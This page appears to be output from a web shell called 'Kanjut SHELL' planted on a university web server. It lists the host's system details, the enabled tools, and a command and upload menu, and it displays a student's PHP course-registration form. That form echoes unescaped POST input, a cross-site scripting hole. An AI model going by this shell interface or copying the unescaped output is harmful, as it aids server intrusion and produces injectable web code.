Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.235.141
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/akshoop/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/akshoop/public_html/crsForm1.php
<!--
File name: crsForm1
Author: Abigail Shoop
Assignment: 3 - 2
	--!>

<CENTER>
<HR>
<h2>Student Registration</h2>
<HR>
<?php session_start();
	$stuName = $_POST["stuName"];
	$genderCheck = $_POST["gender"];
	$gradeCheck = $_POST["grade"];

	$_SESSION["stuName"] = $stuName;
	
	if($genderCheck == "f")
	{	$gender = "Female";}
	else if($genderCheck == "m")
	{	$gender = "Male";}
	else if($genderCheck == "o")
	{	$gender = "Other";}
	else {$gender = "Prefer not to say";}	
	$_SESSION["gender"] = $gender;

	if($gradeCheck == "fre")
	{	$grade = "Freshman";}
	else if($gradeCheck == "sop")
	{	$grade = "Sophomore";}
	else if($gradeCheck == "jun")
	{	$grade = "Junior";}
	else {$grade = "Senior";}
	$_SESSION["grade"] = $grade;

//Debug
print("<b>Debug:</b><BR>Name: $stuName<BR>Gender: $gender<BR>Grade: $grade");
?>
<HR>
<Form action=registration1.php method=post>
<?php
	$csCourses = array("CS112", "CS212", "CS310", "CS311", "CS380", "CS389", "CS440");
	$mathCourses = array("Math135", "Math136", "Math171", "Math172", "Math271");
	
	print "<b>CS Courses:</b><BR>";
	for($i=0; $i<count($csCourses); $i++)
		print "<INPUT type=checkbox name=csCourses[] value=$i> $csCourses[$i]<BR>";
	
	print "<HR>";

	print "<b>Math Courses:</b><BR>";
	for($c=0; $c<count($mathCourses); $c++)
		print "<INPUT type=checkbox name=mathCourses[] value=$c> $mathCourses[$c]<BR>";
?>
<HR>
<INPUT type=submit value=Submit>
<INPUT type=reset value=Reset>
</Form>
</CENTER>

Stv3n404 - 2023